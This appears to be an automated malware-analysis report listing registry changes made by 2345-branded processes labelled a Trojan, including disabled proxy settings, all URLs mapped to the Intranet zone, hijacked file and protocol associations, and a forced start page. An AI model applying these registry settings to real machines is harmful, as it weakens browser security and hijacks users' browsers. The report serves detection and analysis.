[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The process 2345GlobalData.exe:1928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "86 54 0E A7 CE 1B 6E AA 3C 87 61 4E 3A A1 F5 95"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process 2345SFGuard.exe:2368 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 82 A1 09 C8 FE B4 0D 2A AC 7D 7E AC DD BA D4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process 2345SoftSvc.exe:136 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 90 30 17 2C 3F 36 1D 71 80 49 16 1B C7 3A 74"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

The process 2345MPCSafe.exe:1856 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\2345Soft\2345PCSafe]
"2345RTProtect.exe" = "2345实时防护中心"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "52 68 76 E1 8C 22 47 3A 95 98 40 BC D6 DC 42 99"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process 2345RTProtect.exe:2136 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA 76 8F 92 5F 74 5A 0D BB BB BF A2 8C 2E B8 C6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process 2345RTProtect.exe:2084 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A5 1F 9B F2 7E 41 28 64 E2 8E 04 50 53 F8 A4 06"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process 2345SafeTray.exe:1144 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\mk\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\ddeexec]
"(Default)" = "%1,,-1,0,,,,"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7061EB86]
"PerceivedType" = "text"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F4B47BB2]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\ftp\shell]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\227CB6CB]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7BA4C1F]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B6A7E8DD]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83]
"(Default)" = ""

[HKCR\ftp\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\61ACD2B7\UserChoice]
"Progid" = "htmlfile"

[HKCR\https\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7061EB86\PersistentHandler]
"(Default)" = "{eec97550-47a9-11cf-b952-00aa0051fe20}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\949FC460\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\9B08845D]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7D4C3737\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\35732529]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\DD8B9738\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B6A7E8DD\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E60B5EC0]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\1C923714]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\249E2216]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.website]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "www.2345.com/?k1742288"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B51D140C]
"(Default)" = ""

[HKCR\.html]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C\open\ddeexec\Application]
"(Default)" = "IExplore"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\94F2CC9A\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B41C711A]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B51D140C\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.xht]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\1C923714\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\A71DD47B]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\156BC696]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7526004F\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\EE676FFB]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF\open\ddeexec\Topic]
"(Default)" = "WWW_OpenURL"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\3A0CB4F9]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCR\HTTP\shell]
"(Default)" = ""

[HKCU\Software\Classes\.shtml]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\94F2CC9A]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\ddeexec\Topic]
"(Default)" = "WWW_OpenURL"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\57E65BB8]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E60B5EC0\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E890A79F]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\https\shell]
"(Default)" = ""

[HKCR\.xhtml]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xht]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\939EF646]
"PerceivedType" = "text"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\http\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.partial]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\FACB3BCF]
"Progid" = "htmlfile"

[HKCU\Software\Classes\ftp\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F4B47BB2\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\FACB3BCF\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\949FC460]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\8CCACF3D\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\B41C711A\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7D4C3737]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.xhtml]
"(Default)" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.svg]
"Progid" = "htmlfile"

[HKCR\htmlfile\shell]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\CD49788C\open\ddeexec]
"NoActivateHandler" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E308FE55]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\DD8B9738]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xhtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C C2 7E AB 13 DA F9 C3 EF AE B1 81 8A 92 44 B2"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\69F3D1C6]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\FBDF724B]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\FD689294]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7BA4C1F\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E890A79F\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Classes\https\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm]
"Progid" = "htmlfile"

[HKCR\HTTP\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe -nohome"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm]
"Progid" = "htmlfile"

[HKCR\https\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\92377A40\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Check_Associations" = "no"

[HKCU\Software\Classes\https\shell]
"(Default)" = ""

[HKCR\.shtml]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\625E9D83\open\ddeexec\Application]
"(Default)" = "IExplore"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtm]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E09EB3BD\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\F29666EF\open\ddeexec\Application]
"(Default)" = "IExplore"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\939EF646\PersistentHandler]
"(Default)" = "{eec97550-47a9-11cf-b952-00aa0051fe20}"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\7526004F\OpenWithList]
"c" = "MSI167.tmp"
"b" = "NOTEPAD.EXE"
"a" = "iexplore.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtm\UserChoice]
"Progid" = "htmlfile"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.shtml]
"Progid" = "htmlfile"

[HKCU\Software\Classes\.html]
"(Default)" = "htmlfile"

[HKCU\Software\Classes\http\shell]
"(Default)" = ""

[HKCU\Software\Classes\ftp\DefaultIcon]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe,1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "www.2345.com/?k1742288"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\8CCACF3D]
"Progid" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\A51058E3]
"(Default)" = "htmlfile"

[HKLM\SOFTWARE\2345PCSafe\2345Reg\939EF646]
"(Default)" = "htmlfile"

[HKCU\Software\Classes\htmlfile\shell]
"(Default)" = ""

[HKLM\SOFTWARE\2345PCSafe\2345Reg\E873A8E0]
"Progid" = "htmlfile"

